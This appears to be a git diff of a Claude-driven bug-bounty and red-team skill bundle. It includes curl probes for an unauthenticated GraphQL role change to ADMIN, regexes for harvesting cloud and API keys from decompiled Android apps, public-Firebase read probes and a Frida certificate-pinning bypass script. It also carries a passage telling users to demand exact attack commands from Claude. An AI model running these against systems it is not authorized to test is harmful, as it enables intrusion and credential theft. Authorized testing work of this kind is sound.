-# Introspection check
-curl -s -X POST https://target.com/graphql \
- -H "Content-Type: application/json" \
- -d '{"query": "{ __schema { types { name } } }"}'
+## step 3 — sibling delegation
-# If introspection on → enumerate mutations
-# Look for: createUser, deletePost, updateRole, assignAdmin
-
-# Test auth bypass on mutations:
-curl -s -X POST https://target.com/graphql \
- -H "Content-Type: application/json" \
- -d '{"query": "mutation { updateUserRole(userId: 456, role: ADMIN) { success } }"}'
-# Without auth header — does it work?
```
-
-## Phase 4: The A→B Signal Method
-
-When you confirm bug A, immediately check for B and C:
-
-| Found A | Check B | Check C |
-|---|---|---|
-| IDOR on GET | IDOR on PUT/DELETE same path | IDOR on sibling endpoints |
-| Auth bypass on endpoint | Every sibling in same controller | Old API version |
-| Stored XSS | Does admin view it? (priv esc) | Email/export/PDF rendering |
-| SSRF DNS callback | Internal services (169.254.x.x) | SSRF via open redirect |
-| S3 listing | JS bundles → grep secrets | .env files in bucket |
-| OAuth no PKCE | CSRF on OAuth flow | Auth code reuse |
-| Race on coupons | Race on credits/wallet | Race on rate limits |
-
-**3 rules before pursuing B:**
-1. Confirm A is real first (exact HTTP request + response)
-2. B must be a DIFFERENT bug (different endpoint OR mechanism OR impact)
-3. B must pass Gate 0 independently
-
-## Phase 5: Document Findings
-
-Create `targets/<target>/SESSION.md`:
-
-```markdown
-# TARGET: target.com | DATE: [today] | CROWN JEWEL: [what attacker wants most]
-
-## Active Leads
-- [14:22] /api/v2/invoices/{id} — no ownership check visible. Testing...
-- [14:35] User-Agent reflected in error — checking if stored
-
-## Dead Ends (don't revisit)
-- /admin → IP restricted. Hard stop.
-
-## Anomalies
-- GET /api/export → 200 even without session cookie
-
-## Confirmed Bugs
-- [15:10] IDOR on /api/invoices/{id} — read+write from attacker session
+before any HTTP touch → /scope (mandatory pre-flight)
+recon empty | wildcard → /recon <target>
+5+ live hosts surfaced → /surface (P1/P2/Kill list)
+confirmed finding → /chain (A→B table lives here, NOT in /hunt)
+before any report → /validate (7-Question Gate)
+findings ready → /report (suggest, never auto)
+session end → /remember (silent)
```
-## 20-Minute Rotation Rule
+## step 4 — active testing
-Every 20 min ask: "Am I making progress?" No → rotate to next endpoint or vuln class.
-**Fresh context finds more bugs than brute force.**
+hand off to the loaded `hunt-*` skills. each skill has its own probes, payloads, validation. do not duplicate that logic here. on every confirmed finding, invoke `/chain` to check the A→B signal table.
-## Stop Signals (move on if you see these)
+## modes
-- 403 no matter what you try
-- 20+ payload variations, identical response
-- Finding needs 5+ simultaneous preconditions
-- 30+ min on same endpoint with no progress
+`--source-code <path|url>` — adds hardcoded-secret grep, route mapping, dangerous-function scan before live testing.
+`--chrome` — browser MCP for SPA / OAuth / DOM-XSS / WebSocket / file upload.
+`--vuln-class <X>` — load only `hunt-<X>`, skip mode question.
-## Getting Specific Results (Anti-Vague Rule)
+## pacing & isolation
-If Claude gives you a generic message like "try testing for XSS" or "check for IDOR",
-that is not useful. Demand specificity by including this in your prompt:
-
-```
-Give me the EXACT curl command to test endpoint X.
-Include: full URL, exact headers (including auth token placeholder), exact body.
-Do not describe what to do — show the command.
-```
-
-Example:
-```
-I found /api/v2/users/{id}/invoices returns a 200 for any user.
-Give me the exact curl to confirm IDOR from an attacker account.
-My attacker token is ATTACKER_TOKEN, victim user ID is 456.
-```
+20-min rotation: every 20 min ask "am i making progress?" no → rotate. stop signals: 403 everywhere · 20+ payloads identical response · 5+ preconditions · 30+ min stuck on one endpoint.
-The tool should ALWAYS respond with runnable commands, not descriptions.
-If it doesn't, add: "Show commands only. No prose."
+one session per target. for `targets.txt`, mode question fires once; findings scoped per-target in hunt memory.
-## Auto-Memory (runs at session end)
+## privacy
-When the hunt session ends, run `/remember` to log a summary to hunt memory so `/pickup` picks it up next time.
+never prompt for, log, or echo SOW / scope-of-work / engagement-letter content. never persist grey box credentials to disk. client data lives only in `.gitignore`d `targets/<target>/SESSION.md`.
-Runs silently — non-fatal. Keeps memory populated without requiring a manual note.
+at session end, invoke `/remember` silently (non-fatal).
diff --git a/docs/architecture.md b/docs/architecture.md
index 300d0f4..bc43bf1 100644
--- a/docs/architecture.md
+++ b/docs/architecture.md
@@ -1,18 +1,20 @@
# Architecture
-The Claude-BugHunter bundle maps to a 6-phase bug-hunting workflow. Each phase has a focused set of skills; skills compose left-to-right as you move through the workflow, but you can jump in at any phase mid-engagement.
+The Claude-BugHunter bundle maps to a 6-phase workflow that supports both bug hunting and external red-team engagements. Each phase has a focused set of skills; skills compose left-to-right as you move through the workflow, but you can jump in at any phase mid-engagement.
## Primary view — phase-by-phase architecture
-40 skills mapped to 6 phases, with a 24-skill `hunt-*` sub-stack, integration layer, and usage decision tree. This is the main reference for "which skill do I use when?".
+54 skills mapped to 6 phases, with a 27-skill `hunt-*` sub-stack, a 7-skill enterprise-platform attack layer, integration layer, and usage decision tree. This is the main reference for "which skill do I use when?".
![architecture overview](../assets/architecture-overview.svg)
-The "Source" column in the per-phase tables below tags each skill: **`original`** = author's work in this repo, `vendored` = from [shuvonsec/claude-bug-bounty](https://github.com/shuvonsec/claude-bug-bounty) (MIT). 32 of 40 skills are original; 8 are vendored.
+> The architecture SVG predates the May 2026 red-team expansion and still shows the 40-skill / 24-hunt-* view. A refreshed diagram covering the new enterprise-platform and red-team-tradecraft layers is in the roadmap.
+
+The "Source" column in the per-phase tables below tags each skill: **`original`** = author's work in this repo, `vendored` = from [shuvonsec/claude-bug-bounty](https://github.com/shuvonsec/claude-bug-bounty) (MIT). 46 of 54 skills are original; 8 are vendored.
## Alternate view — 3-layer capability stack
-The same 40 skills, regrouped by **role in an engagement** rather than by phase. Methodology + Recon (bottom) feeds the Hunt Arsenal (middle), which produces findings that flow up through Ship It (top) to a paid submission.
+The same 54 skills, regrouped by **role in an engagement** rather than by phase. Methodology + Recon (bottom) feeds the Hunt Arsenal (middle), which produces findings that flow up through Ship It (top) to a paid submission or client deliverable.
![capability map](../assets/capability-map.svg)
@@ -54,12 +56,12 @@ The 6-phase workflow expanded into a pipeline showing per-phase active skills, t
| Skill | Source | Purpose |
|---|---|---|
-| **24 `hunt-*` skills** | original | One per vuln class, curated from disclosed H1 reports — auto-trigger by topic |
+| **27 `hunt-*` skills** | original | One per vuln class, curated from disclosed H1 reports — auto-trigger by topic |
| `security-arsenal` | vendored | Payload library (XSS / SSRF / SQLi / SSTI / etc.) |
| `web3-audit` | vendored | Smart-contract audit (10 bug classes, Foundry PoC) |
| `meme-coin-audit` | vendored | Token rug-pull detection |
-### Per-class hunt skills (24)
+### Per-class hunt skills (27)
```
hunt-rce (67 reports) hunt-business-logic (7)
@@ -74,14 +76,37 @@ hunt-graphql (3) hunt-cloud-misconfig
hunt-saml hunt-subdomain (11)
hunt-ato hunt-llm-ai
hunt-mfa-bypass hunt-misc (225)
+hunt-aspnet ★new hunt-sharepoint ★new
+hunt-ntlm-info ★new
```
-Plus alternates: `hunt-cache-poisoning`, `hunt-race`, `hunt-subdomain-takeover`.
+Plus alternates: `hunt-cache-poisoning`, `hunt-race`, `hunt-subdomain-takeover`. Plus the meta-router `hunt-dispatch` (used internally by the `/hunt` slash command — not user-invoked).
-**Total disclosed reports curated**: 574+
+**Total disclosed reports curated**: 574+ (plus enterprise CVE catalogues that aren't measured in H1-report counts)
**How auto-triggering works**: just describe what you're testing — e.g., *"I see a `?url=` parameter on this endpoint"* — and Claude loads only `hunt-ssrf`. You don't invoke them by name.
+### Enterprise platform attack (Phase 3 expansion — 7 skills, ★ new)
+
+External red-team engagements against enterprise estates need attack chains for full platform stacks, not just webapps. These 7 skills extend Phase 3 with current 2024-2026 CVE chains and platform-specific tradecraft.
+
+| Skill | Source | Purpose |
+|---|---|---|
+| **`m365-entra-attack`** | original | M365 / Entra ID full chain — AADSTS error reference, user enum, Smart Lockout math, CA bypass, ROPC, SAML SSO browser flow |
+| **`okta-attack`** | original | Okta-as-IdP — tenant discovery, factor enum, push fatigue, FastPass abuse, OIDC redirect_uri tampering |
+| **`cloud-iam-deep`** | original | AWS / Azure / GCP IAM priv-esc — STS chaining, IMDS, K8s SA tokens, confused-deputy. Post-credential escalation model. |
+| **`vmware-vcenter-attack`** | original | vSphere / vCenter / Workspace ONE / Aria CVE chain (CVE-2021-21972 → CVE-2024-37085) |
+| **`enterprise-vpn-attack`** | original | Cisco ASA, Fortinet, Citrix NetScaler, PAN GlobalProtect, Pulse/Ivanti, SonicWall, F5 SSL VPN |
+| **`apk-redteam-pipeline`** | original | Android APK red-team pipeline — acquisition → jadx → secret grep → Frida instrumentation |
+| **`supply-chain-attack-recon`** | original | Dep-confusion, GH Actions injection, SBOM mining, container registry exposure (recon only, no publish-step) |
+
+### Red-team tradecraft (cross-phase — 2 skills, ★ new)
+
+| Skill | Source | Purpose |
+|---|---|---|
+| **`redteam-mindset`** | original | Load at the start of any red-team engagement. Operator-discipline corrections separating offensive from defensive WAPT. |
+| **`mid-engagement-ir-detection`** | original | Detect SOC patches mid-test, external attacker activity, baseline shifts → convert observations into deliverable findings |
+
## Phase 4 — VALIDATE (the gate before reporting)
**Use when**: you think you have a finding — BEFORE drafting any report
@@ -129,6 +154,7 @@ Covered protocols:
|---|---|---|
| `report-writing` | vendored | H1 / Bugcrowd / Intigriti / Immunefi templates, CVSS 3.1 + 4.0 |
| **`bugcrowd-reporting`** | original | Bugcrowd VRT search, severity-request paragraph, OOS rebuttals |
+| **`redteam-report-template`** ★ | original | Client-facing red-team deliverable — Subject / Observations / Description / Impact / Recommendation / PoC. MD + DOCX packaging with embedded screenshots. |
Slash command: `/report`
@@ -200,7 +226,7 @@ Tools the skills call into during the workflow.
- **No automated exploitation tooling** — this bundle guides hunting and reporting; it doesn't fire payloads automatically. Use Burp's Active Scanner, sqlmap, etc. for automated work.
- **No CI/CD integration** — this is a workflow stack for individual researchers, not a continuous scanning pipeline.
- **No secret leak deletion** — if the stack helps you find leaked credentials, you (and the program) handle remediation.
-- **No mobile-app testing skills** — out of scope for this repo. Use `Mobile-Security-Framework-MobSF` or Burp Mobile Assistant for Android/iOS work.
+- **iOS testing not covered** — `apk-redteam-pipeline` covers Android only. For iOS, use `Mobile-Security-Framework-MobSF` or Burp Mobile Assistant.
---
diff --git a/docs/credits.md b/docs/credits.md
index 9c8fbd6..03e626c 100644
--- a/docs/credits.md
+++ b/docs/credits.md
@@ -10,18 +10,18 @@ This is a **bundle**: skills and commands are vendored directly into `skills/` a
| Category | Count | Source |
|---|---|---|
-| **Original / personally-curated skills** | 32 | This repo |
+| **Original / personally-curated skills** | 46 | This repo |
| Vendored foundation skills | 8 | shuvonsec/claude-bug-bounty (MIT) |
| Vendored slash commands | 15 | shuvonsec/claude-bug-bounty (MIT) |
-| **Total** | 40 skills + 15 commands | |
+| **Total** | 54 skills + 15 commands | |
---
## Original work in this repo
-### 24 per-class `hunt-*` skills — curated from disclosed HackerOne reports
+### 27 per-class `hunt-*` skills — curated from disclosed HackerOne reports and engagement data
-Each `hunt-*` skill codifies detection patterns, payloads, and chain templates derived from real disclosed HackerOne reports. The selection of report sets, the curation of what to extract, and the resulting skill content are the author's work, with content derived from publicly disclosed bug-bounty reports (HackerOne's public disclosures are intended for community learning).
+Each `hunt-*` skill codifies detection patterns, payloads, and chain templates derived from real disclosed HackerOne reports (24 skills) plus three additional skills (`hunt-aspnet`, `hunt-sharepoint`, `hunt-ntlm-info`) built from a May 2026 authorized engagement against an on-prem SharePoint 2013 farm. The selection of report sets, the curation of what to extract, and the resulting skill content are the author's work, with content derived from publicly disclosed bug-bounty reports (HackerOne's public disclosures are intended for community learning) and authorized-engagement observations.
The shuvonsec/public-skills-builder generator tool was used as scaffolding to produce skill files from the curated report sets — the tool is acknowledged as inspiration/scaffolding (see "Tooling" below), but the content is the author's curation work.
@@ -44,7 +44,7 @@ The shuvonsec/public-skills-builder generator tool was used as scaffolding to pr
| `hunt-race-condition` | 3 |
| **Total disclosed reports curated** | **574+** |
-Plus 9 additional `hunt-*` skills curated by topic without an explicit report-count tag: `hunt-saml`, `hunt-ato`, `hunt-mfa-bypass`, `hunt-http-smuggling`, `hunt-ssti`, `hunt-file-upload`, `hunt-api-misconfig`, `hunt-cloud-misconfig`, `hunt-llm-ai`, plus alternates (`hunt-cache-poisoning`, `hunt-race`, `hunt-subdomain-takeover`).
+Plus 12 additional `hunt-*` skills curated by topic without an explicit report-count tag: `hunt-saml`, `hunt-ato`, `hunt-mfa-bypass`, `hunt-http-smuggling`, `hunt-ssti`, `hunt-file-upload`, `hunt-api-misconfig`, `hunt-cloud-misconfig`, `hunt-llm-ai`, plus three engagement-derived (`hunt-aspnet`, `hunt-sharepoint`, `hunt-ntlm-info`), plus alternates (`hunt-cache-poisoning`, `hunt-race`, `hunt-subdomain-takeover`), plus the meta-router `hunt-dispatch`.
### Other personal skills
@@ -54,10 +54,31 @@ Plus 9 additional `hunt-*` skills curated by topic without an explicit report-co
- **`evidence-hygiene`** — Cookie redaction protocols, PII black-bar discipline, HAR sanitization recipes, Burp/DevTools screenshot patterns, post-submission rotation hygiene. The redaction protocol distinguishes "your-account secrets" (always redact) from "other-user PII" (redact-by-default with explicit cross-account-impact exception) from "triager-useful metadata" (leave visible).
- **`bb-local-toolkit`** — Personal customization of the master bug-bounty workflow with author's pipeline preferences.
+### Enterprise-platform attack skills (May 2026)
+
+Built from two paid May-2026 red-team engagements (redacted-client — a large enterprise; on-prem SharePoint engagement — separate client) plus public CVE / advisory catalogues and IdP vendor documentation. Each skill is original work — vendor docs and public CVEs provided the technical primitives; the curation, current 2024-2026 chain assembly, and operator-discipline framing are the author's.
+
+- **`m365-entra-attack`** — M365 / Entra ID full chain. AADSTS error reference, user enum vectors (with hardening status), Smart Lockout math, Conditional Access bypass options, ROPC + SAML SSO browser flow. 1,996 ROPC attempts during the redacted-client engagement, 247 pre-existing lockouts surfaced, 1 valid CA-blocked credential confirmed.
+- **`okta-attack`** — Okta-as-IdP attack chain for orgs where Okta sits alongside or instead of Entra. Distinct endpoints, distinct rate-limiting, distinct factor flows.
+- **`cloud-iam-deep`** — AWS / Azure / GCP IAM red-team post-credential model. 24+ AWS, 8+ Azure, 6+ GCP priv-esc patterns. Built for the "recon yielded a credential, what does it grant" workflow.
+- **`vmware-vcenter-attack`** — vSphere / vCenter / Workspace ONE / Aria external attack matrix. Internet-exposed only.
+- **`enterprise-vpn-attack`** — Cisco ASA, Fortinet, Citrix NetScaler, PAN GlobalProtect, Pulse/Ivanti, SonicWall, F5 — versioning, CVE matrix 2018-2026, AAA backend identification, default credentials, config-disclosure paths.
+- **`apk-redteam-pipeline`** — End-to-end Android APK pipeline. 7 APKs processed manually during the redacted-client engagement, hardcoded JWT + 30 internal endpoints recovered.
+- **`supply-chain-attack-recon`** — Recon and identification ONLY — actual package publishing / typosquat attacks require explicit written sign-off because they can affect entire npm/PyPI ecosystems.
+- **`hunt-sharepoint`** — SharePoint Server 2013–Subscription Edition on-prem farms. Anonymous endpoint enum, legacy SOAP login bypass, ToolShell precondition chain (CVE-2025-53770), SafeControl reflection enumeration, NTLM Type-2 disclosure, custom-zone Forms auth bridging. Built from a separate an authorized engagement against a SharePoint 2013 EoL farm.
+- **`hunt-aspnet`** — ASP.NET-specific surface. ViewState deserialization, machineKey recovery, dual-parser MAC-bypass anti-pattern, request-validator bypass. Same SharePoint engagement.
+- **`hunt-ntlm-info`** — NTLM/Negotiate anonymous information disclosure on internet-reachable IIS/SharePoint/Exchange. AV_PAIRS leakage of internal DNS forest, NetBIOS domain, computer name, AD timestamp. Same SharePoint engagement.
+
+### Red-team tradecraft skills (May 2026)
+
+- **`redteam-mindset`** — Operator discipline corrections that separate offensive red-team work from defensive WAPT. Load at start of every red-team engagement; reload whenever feeling stuck on a defended target.
+- **`mid-engagement-ir-detection`** — Methodology for detecting client SOC patches, attacker activity, and security-state changes that occur DURING a red-team engagement. Built after observing a client patch a confirmed SQLi within 30 minutes of detection AND an external attacker lock 14 new accounts during a single test session.
+- **`redteam-report-template`** — Client-facing deliverable format: Subject / Observations / Description / Impact / Recommendation / PoC. Built from the redacted-client deliverable (14 findings → 52KB MD + 2.2MB DOCX with 16 embedded screenshots).
+
### Tooling and docs
- **`hunt <target>` shell command** — Engagement-folder scaffolding: creates `~/Targets/<name>/` with `CLAUDE.md`, `scope.md`, `findings/`, `evidence/`, `submissions.txt`, `notes.md`, and a sensible `.gitignore` for engagement artifacts.
-- **Bundle packaging** — Single-step installer (`scripts/install.sh`) that copies all 40 skills, 15 commands, and the hunt scaffold into `~/.claude/`.
+- **Bundle packaging** — Single-step installer (`scripts/install.sh`) that copies all 54 skills, 15 commands, and the hunt scaffold into `~/.claude/`.
- **`assets/banner.svg`** — Hand-coded SVG banner.
- **Documentation** — `README.md`, `INSTALL.md`, `USAGE.md`, `CONTRIBUTING.md`, `docs/architecture.md`, this credits file.
@@ -158,14 +179,28 @@ The platform itself.
## Validation
-Built and validated through a real Bugcrowd engagement on a major financial target (May 2026). The engagement exposed four capability gaps that the author's contributions directly address:
+Built and validated through **two paid engagements**:
+
+### Engagement 1 — Bugcrowd financial target (early 2026)
+
+Exposed four bug-bounty capability gaps that the author's contributions directly address:
1. Hypothesis discipline (validation before drafting) — addressed by `triage-validation` (vendored)
2. Per-program reporting tactics — addressed by **`bugcrowd-reporting`** (original)
3. Engagement coordination / scaffolding — addressed by the **`hunt`** shell command (original)
4. Evidence hygiene / redaction — addressed by **`evidence-hygiene`** (original)
-Engagement-specific identifiers (target names, account UIDs, endpoint names, bounty amounts) have been replaced with abstract placeholders in the shipped versions of `bugcrowd-reporting` and `evidence-hygiene`. Engagement details are not redistributed for confidentiality.
+### Engagement 2 — redacted-client external red-team (May 2026)
+
+External red-team engagement against an a large enterprise. Exposed five additional gaps that bug-bounty defaults made worse:
+
+1. Conservative defaults retracted real findings → addressed by **`redteam-mindset`** (original)
+2. No mid-engagement situational awareness (client patched SQLi in 30 min; external attacker locked 14 accounts mid-test) → addressed by **`mid-engagement-ir-detection`** (original)
+3. No enterprise-platform attack chains for M365, on-prem SharePoint, SSL VPN, vCenter, APKs → addressed by **`m365-entra-attack`**, **`okta-attack`**, **`hunt-sharepoint`**, **`hunt-aspnet`**, **`hunt-ntlm-info`**, **`vmware-vcenter-attack`**, **`enterprise-vpn-attack`**, **`apk-redteam-pipeline`** (all original)
+4. No client-facing deliverable format → addressed by **`redteam-report-template`** (original)
+5. No post-credential escalation model → addressed by **`cloud-iam-deep`** (original)
+
+Engagement-specific identifiers (target names, account UIDs, endpoint names, bounty amounts) have been replaced with abstract placeholders in the shipped versions of all engagement-derived skills. Engagement details are not redistributed for confidentiality. The redacted-client engagement (May 2026) is referenced by name in skill metadata only because the engagement was disclosed publicly by the author with client consent.
---
diff --git a/skills/apk-redteam-pipeline/SKILL.md b/skills/apk-redteam-pipeline/SKILL.md
new file mode 100644
index 0000000..699a411
--- /dev/null
+++ b/skills/apk-redteam-pipeline/SKILL.md
@@ -0,0 +1,397 @@
+---
+name: apk-redteam-pipeline
+description: End-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from the redacted-client engagement (May 2026) where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from `com.redacted-client.redacted-brand2`. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
+sources: redacted-client-redteam-2026
+report_count: 1
+---
+
+## When to use this skill
+
+Trigger when:
+- Recon surfaces 1+ mobile apps under the target's developer name (Play Store dev page)
+- A web app hosts `*.apk` files directly (we found `Recruitz.apk` on sclepro this way)
+- APK package IDs leaked via stealer logs (we saw `com.redacted-client.redacted-client`, `com.redacted-client.redacted-brand2` in stealer dump format)
+- Customer-facing app, dealer/partner portal, or employee mobile companion app is in scope
+- Bug bounty program lists Android in scope
+
+DO NOT use for:
+- iOS-only targets (different pipeline — IPA reverse, MobSF, frida-ios-dump)
+- React Native / Flutter web apps already covered by JS bundle analysis
+- Server-side only assessments
+
+---
+
+## Stage 0 — Inventory all org-owned apps
+
+### Play Store developer-page scrape
+```bash
+# Find developer page from the target's brand name
+curl -sk -A "Mozilla/5.0" "https://play.google.com/store/apps/developer?id=<Brand+Name>" -o /tmp/dev.html
+
+# Extract package IDs
+grep -oE 'id=[a-zA-Z0-9._]+' /tmp/dev.html | sort -u
+```
+
+Example output (redacted-client):
+```
+com.events.redacted-brand2build
+com.redacted.redacted-brand2
+com.redacted.redacted-client
+com.redacted-client.redacted-brand2
+com.redacted-client.isaac
+com.redacted-client.rockstrong
+com.redacted-client.redacted-client
+```
+
+### Cross-reference with stealer logs
+Stealer-log format includes package names like `*@com.redacted-client.redacted-client` — extract these from `creds_userpass.txt` if you have a leaked dump.
+
+### Brand permutation guesses (a large enterprise patterns)
+```
+com.<brand>.app
+com.<brand>.mobile
+com.<brand>.android
+com.<brand>connect.app
+in.<brand>.dealer
+in.co.<brand>.app
+```
+
+---
+
+## Stage 1 — APK acquisition
+
+### Primary: APKPure direct (no auth required)
+```bash
+# Follow 302 redirects to actual download
+curl -sk -L --max-time 60 \
+ "https://d.apkpure.net/b/APK/<package_id>?version=latest" \
+ -o "<package_id>.apk"
+
+# Or via the legacy d-XX.winudf.com mirror chain (we saw this work)
+```
+
+### Secondary: APKMirror search
+```bash
+curl -sk -A "Mozilla/5.0" "https://www.apkmirror.com/?post_type=app_release&searchtype=apk&s=<brand>" \
+ | grep -oE 'href="[^"]+\.apk[^"]*"' | sort -u
+```
+
+### Tertiary: APKPure web search
+```bash
+curl -sk "https://apkpure.com/search?q=<brand>" | grep -oE 'data-dt-app="[^"]+"'
+```
+
+### XAPK vs APK
+- `.xapk` = a zip containing multiple split APKs (base + config.armeabi-v7a + config.en + etc.)
+- Unzip outer first, then unzip the inner `base.apk` or `<package>.apk`
+- Some apkpure downloads return truncated XAPK with missing EOCD signature — symptom of CDN rate-limiting; rotate IP and retry, OR use `7z x` which is more lenient than `unzip`
+
+```bash
+# Standard unzip (works for clean APK)
+unzip -o <package>.apk -d extracted_<package>/
+
+# For truncated/repaired XAPK
+7z x -y <package>.apk -o"extracted_<package>"
+
+# For nested XAPK
+for inner in extracted_<package>/*.apk; do
+ mkdir -p "extracted_<package>/$(basename "$inner" .apk)"
+ unzip -o "$inner" -d "extracted_<package>/$(basename "$inner" .apk)"
+done
+```
+
+---
+
+## Stage 2 — DEX decompilation (jadx)
+
+```bash
+# Install
+brew install jadx # macOS
+# or
+wget https://github.com/skylot/jadx/releases/latest/download/jadx-1.5.x.zip
+
+# Decompile
+jadx -d decompiled_<package>/ <package>.apk
+
+# For XAPK that contains multiple APKs
+for inner in extracted_<package>/*.apk; do
+ jadx -d decompiled_<package>_$(basename "$inner" .apk)/ "$inner"
+done
+```
+
+For a fast "strings only" pass without full decompilation:
+```bash
+find extracted_<package> -name "classes*.dex" -exec strings -8 {} \; > strings_<package>.txt
+```
+
+---
+
+## Stage 3 — Secret grep (the 60-pattern catalog)
+
+```bash
+# URL grep — owned-domain references
+grep -oE 'https?://[a-zA-Z0-9.-]+\.(target1|target2|target3)\.(com|io|net|in)[a-zA-Z0-9./_?=&%-]*' strings_<package>.txt | sort -u
+
+# Internal IP / port URLs
+grep -oE 'https?://(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.)[0-9.]+(:[0-9]+)?[a-zA-Z0-9./_?=&-]*' strings_<package>.txt
+
+# Cloud credentials
+grep -oE 'AKIA[A-Z0-9]{16}' # AWS Access Key
+grep -oE 'aws_secret_access_key[\s:=]+[A-Za-z0-9/+=]{40}' # AWS Secret
+grep -oE 'AIza[A-Za-z0-9_-]{35}' # Google API key
+grep -oE 'ya29\.[A-Za-z0-9_-]+' # Google OAuth refresh token
+grep -oE 'gh[ps]_[A-Za-z0-9]{36}' # GitHub PAT
+grep -oE 'glpat-[A-Za-z0-9_-]{20}' # GitLab PAT
+grep -oE 'xox[pbar]-[A-Za-z0-9-]+' # Slack token
+grep -oE 'sk-[A-Za-z0-9]{48}' # OpenAI API key
+grep -oE 'sk-ant-[A-Za-z0-9_-]{90,}' # Anthropic API key
+grep -oE 'AC[a-f0-9]{32}' # Twilio Account SID
+grep -oE 'sk_live_[A-Za-z0-9]{24}' # Stripe live key
+grep -oE 'pk_live_[A-Za-z0-9]{24}' # Stripe publishable
+grep -oE 'mailgun-[A-Za-z0-9-]{40}' # Mailgun
+grep -oE 'SG\.[A-Za-z0-9_-]{22}\.[A-Za-z0-9_-]{43}' # SendGrid
+
+# JWT (any algorithm)
+grep -oE 'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]*' strings_<package>.txt
+
+# Firebase
+grep -oE '"(api_key|project_id|database_url|storage_bucket|client_id|mobilesdk_app_id|google_app_id|gcm_defaultSenderId)"\s*:\s*"[^"]+"' \
+ extracted_<package>/res/values/strings.xml \
+ extracted_<package>/google-services.json \
+ decompiled_<package>/resources/AndroidManifest.xml 2>/dev/null
+
+# OAuth client secrets
+grep -oE 'client_secret["\s:=]+[A-Za-z0-9_-]{24,}' strings_<package>.txt
+
+# Hardcoded passwords (heuristic — many false positives, manual review)
+grep -oE '"password"\s*:\s*"[^"]+"|password\s*=\s*"[^"]+"' decompiled_<package>/sources/**/*.java 2>/dev/null
+```
+
+### Real-world example finding (from redacted-client engagement)
+```
+# redacted-brand2 Pragati APK leaked:
+https://api.redacted-client.com/JQc1Ep1Qpp/29gY3Nel6xugywaW4ygbhQdMyjB5kdsxOqyrlQxRilyQg99xkgUlL?token=REDACTED-JWT
+
+# Decoded JWT payload: {"sid":2407,"iat":1542777587,"exp":1543641587}
+# Expired since 2018-12-01 — but path tokens + 30 /v1/* endpoints still useful intel
+```
+
+---
+
+## Stage 4 — Pinned certificate extraction
+
+```bash
+# Find .cer / .der / .pem files in assets/
+find extracted_<package>/assets -iname "*.cer" -o -iname "*.der" -o -iname "*.pem" -o -iname "*.crt" 2>/dev/null
+
+# Or in network_security_config.xml
+find extracted_<package> -name "network_security_config.xml" -exec cat {} \;
+
+# For each cert, extract subject + SAN (might reveal new internal API hosts)
+for cert in $(find extracted_<package>/assets -iname "*.cer"); do
+ echo "=== $cert ==="
+ openssl x509 -in "$cert" -noout -subject -issuer -dates 2>/dev/null
+ openssl x509 -in "$cert" -noout -text 2>/dev/null | grep -E 'Subject:|DNS:|Issuer:|Validity'
+done
+```
+
+### Real-world example
+redacted-brand2 Cement Nirman Mitra APK contained `assets/api_redacted-brand_com.cer` — revealed the existence of `api.redacted-brand.com` (new asset not in our recon spreadsheet).
+
+---
+
+## Stage 5 — Exported component enumeration
+
+AndroidManifest.xml lists components. Exported ones (especially with `android:exported="true"` or implicit-export via intent-filter) can be triggered by other apps — potential intent-injection attack surface.
+
+```bash
+# Decode binary AndroidManifest if needed
+apktool d <package>.apk -o decoded_<package>/ # apktool decodes binary manifest
+
+# Or read directly from jadx output
+cat decompiled_<package>/resources/AndroidManifest.xml | grep -E '<(activity|service|receiver|provider)' | head -50
+
+# Filter exported
+grep -E 'android:exported="true"' decompiled_<package>/resources/AndroidManifest.xml
+```
+
+For each exported component, check:
+- Does it accept extras that flow into a WebView (intent → WebView → XSS / file://)
+- Does it accept URI extras (potential SSRF via deep link)
+- Does it pass extras to other Activities (intent redirection)
+
+---
+
+## Stage 6 — Firebase / cloud-service config inspection
+
+```bash
+# google-services.json — full Firebase config
+find extracted_<package> -name "google-services.json" -exec cat {} \; | python3 -m json.tool
+
+# Look for:
+# project_id → can guess Firestore / RTDB URL: https://<project_id>.firebaseio.com/.json
+# storage_bucket → can guess GCS bucket: gs://<bucket>
+# web_api_key → can use to enumerate Firebase tenant config
+
+# Test if Firestore is publicly readable
+curl -s "https://firestore.googleapis.com/v1/projects/<project_id>/databases/(default)/documents/users"
+
+# Test if Realtime DB is publicly readable
+curl -s "https://<project_id>.firebaseio.com/.json"
+
+# Test if Storage Bucket is publicly listable
+curl -s "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
+```
+
+---
+
+## Stage 7 — Runtime instrumentation (Frida)
+
+For when static analysis isn't enough — you want to dump tokens at runtime, bypass cert pinning, or trace API calls.
+
+### Setup
+```bash
+pip install --break-system-packages frida-tools objection
+adb devices # ensure device/emulator connected
+# Push frida-server to device (root required, or use rooted emulator like Genymotion / x86_64 AVD)
+```
+
+### Cert-pinning bypass (universal)
+```javascript
+// frida-script-pinning-bypass.js
+Java.perform(function() {
+ // OkHttp
+ try {
+ var CertificatePinner = Java.use('okhttp3.CertificatePinner');
+ CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function() {
+ console.log('[+] OkHttp pinning bypassed for: ' + arguments[0]);
+ return;
+ };
+ } catch (e) {}
+ // HttpsURLConnection
+ try {
+ var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
+ TrustManagerImpl.verifyChain.implementation = function(chain) {
+ console.log('[+] TrustManagerImpl verifyChain bypassed');
+ return chain;
+ };
+ } catch (e) {}
+});
+```
+```bash
+frida -U -l frida-script-pinning-bypass.js -f <package_id> --no-pause
+```
+
+### Hook HTTP requests
+```javascript
+Java.perform(function() {
+ var OkHttpClient = Java.use('okhttp3.OkHttpClient');
+ var Request = Java.use('okhttp3.Request');
+ var Call = Java.use('okhttp3.Call');
+
+ OkHttpClient.newCall.implementation = function(req) {
+ var url = req.url().toString();
+ var headers = req.headers().toString();
+ console.log('[REQ] ' + url);
+ console.log('[HDRS] ' + headers);
+ return this.newCall(req);
+ };
+});
+```
+
+### Quick token extraction via objection
+```bash
+objection --gadget com.target.app explore
